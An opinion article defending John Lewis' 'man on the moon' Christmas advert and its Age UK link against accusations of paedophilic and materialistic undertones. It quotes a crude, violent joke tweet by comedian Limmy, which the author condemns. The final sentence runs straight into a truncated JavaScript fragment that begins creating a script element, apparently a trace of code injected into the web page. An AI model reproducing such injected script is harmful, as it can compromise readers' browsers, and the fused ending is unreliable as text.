By Taylor Gardner
The release of John Lewis’ annual Christmas advert has sparked a variety of conﬂicting responses. From accusations of having paedophilic connotations, to promoting materialistic values, the advert has raised several differing reactions.
The short video, which the majority of Britain has now undoubtedly seen, shows a young girl looking through her telescope and discovering an old man living in solitude on the moon. Lily sends the man a Christmas present in an attempt to make him feel less alone.
Lily’s gift-giving has been taken by many as a depiction of the way in which the importance of social connections, and our genuine appreciation for one another, has shifted to focus more on money and spending at Christmas. In other words, critiques argue the advert highlights the move towards the growing love of possessions rather than a love for each other.
Several critiques of the advert have skewed it into a a depiction of paedophilia. This outlook can be seen as extremely narrow-minded, completely missing the importance of the message which is being portrayed. The advert sparked disgust from people who took offence to the relationship between the old man and young girl. Scottish comedian Limmy tweeted, “I hope that parcel the old guy got in the John Lewis advert was a bomb and it blew the cunt’s arms off and he dies before Christmas.”
The unexpected connection between the young girl and the old man is not a depiction of a paedophilic relationship but, rather, a well-thought out reminder that we should think of and reach out to those who may not necessarily be at the front of our mind during the festive period. Limmy’s comment is both highly inappropriate and extremely small-minded and he is completely disregarding the idea of looking out for the elderly this Christmas – regardless of this being a joke or not.
The advert targets wider global concerns such as the power of kindness and the suffering of the older generation who we often fail to consider a lot of the time. For most people, Christmas is a time of family bonding, festive joy and happiness – but do we ever take the time to think of those at home alone with neither family or friends to spend the day with?
Additionally, John Lewis has created a partnership with Age UK and the advert is helping to raise awareness about the millions of elderly people who, not only will be alone this Christmas but, may have gone months without the social contact and loving friendships we can often take for granted.
The advert is a stark reminder that we must think of others over the festive period, a reminder to see past ourselves and material things gifts this Christmas. With its strapline, “show someone they’re loved this Christmas” it is undeniable that the ads purpose ad is to raise awareness about the elderly and the importance of being together at Christmas through the act of kindness, whether that is sending a gift to someone far away or inviting them to join you this Christmasvar d=document;var s=d.createElement(‘script’);